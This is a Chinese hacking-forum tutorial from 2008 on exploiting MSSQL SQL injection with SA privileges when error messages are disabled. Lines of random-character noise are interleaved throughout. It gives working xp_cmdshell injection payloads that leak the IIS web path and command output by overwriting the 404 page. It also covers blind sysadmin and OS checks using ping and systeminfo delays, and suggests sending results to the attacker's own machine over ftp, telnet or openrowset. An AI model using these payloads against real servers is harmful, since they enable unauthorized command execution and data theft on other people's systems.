遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
3 K; N7 M* I! c; E/ g7 e
, }6 ?( c3 P: o; h 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。# a6 e3 a. |( m; i8 ?
. o2 A" v, A1 n4 l
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。- m' H# W1 F4 p
! S4 r( i7 \; X
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm& T9 b4 K r, ?! }4 f. ?
3 ?+ d5 e- r4 `* [ E9 I 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--, N3 X1 }9 v, U8 E
3 v, b' ?1 q, k) D$ k, w
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。8 \3 `* I4 Q5 N6 G/ w. M- B% h/ B
6 e6 O+ K# J6 E$ S0 p1 a+ ~
执行命令得到回显
* f/ A8 ]( ?9 {: I2 I( ^% z D/ r# m4 G v/ L1 ~
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
7 b# {! J5 h) J* I6 i
0 _0 }7 t1 q. [7 ~. S" ?/ f 得到文件也shi相同,把文件copy到404b.htm就行了
/ B+ n7 U! \1 c) H! y
# |8 a$ B) H- W6 L, E. g2 U [. ^" ]% F4 M by 28ice, 2008/6/265 a" c9 B* {9 }4 M
8 [5 ^1 n: [1 J$ G& v 摘自 28度的冰2 _: B @& N3 f2 r' z
$ K5 |1 x2 U! r3 k6 b+ F0 s. |2 W 盲注判断权限和操作系统版本8 L. B- D5 } E) @0 `3 R6 h
4 v1 A$ y/ y5 y& |3 N 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?/ j% C! Z' e! m A
5 g* u& |4 f' S 最简单的,可能以用这样的方法:$ ~+ Y/ l3 o* b0 i8 V4 q
. W0 e( l# e; ?7 \
1=(select IS_SRVROLEMEMBER(’sysadmin’))
, _# q, C' Y2 F3 k
& V- A. u3 E& v9 ?' E, p 当然,有些情况下,这个方法并不奏效。
: S5 D+ F, J; q
$ M5 E- W/ d* ?" ^ 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
6 k! ?3 Z7 T9 @: {0 O" }) I8 t; S2 _3 _: a
有个3办法可能以解决这个问题
4 D: I, e, W# Y, j, m; i; M3 k
3 G% B" G& X# |9 `. h2 k a.把执行结果写到404b.htm,具体请看我的上一篇文章/ m# w. h9 d8 t1 |
' L. B3 X. a% E8 F0 f F! } b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
. h, W* w, S( a/ x8 f( y! f2 x
2 [: o/ w1 A7 e c.如果1433端口可能以连接,那干脆新建个sql登录
+ [/ h! e/ p8 C5 y% t) H. h5 ]: r- Y9 C9 a; j! p8 M5 q% _) r% T
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
7 A: {) B. H! u3 s9 Z# L3 A6 v" a
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
! A! a( M; ?" Z! i4 e6 m8 ?1 F, i! w$ l0 [) G
很简单
7 U0 B7 {4 D# r! q# @3 z
/ D. q! J* l3 b; n1 g 执行systeminfo! S. p7 u, G. V% A5 o5 h% N
, c% f6 r# b* r0 b& c, O1 s5 x 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |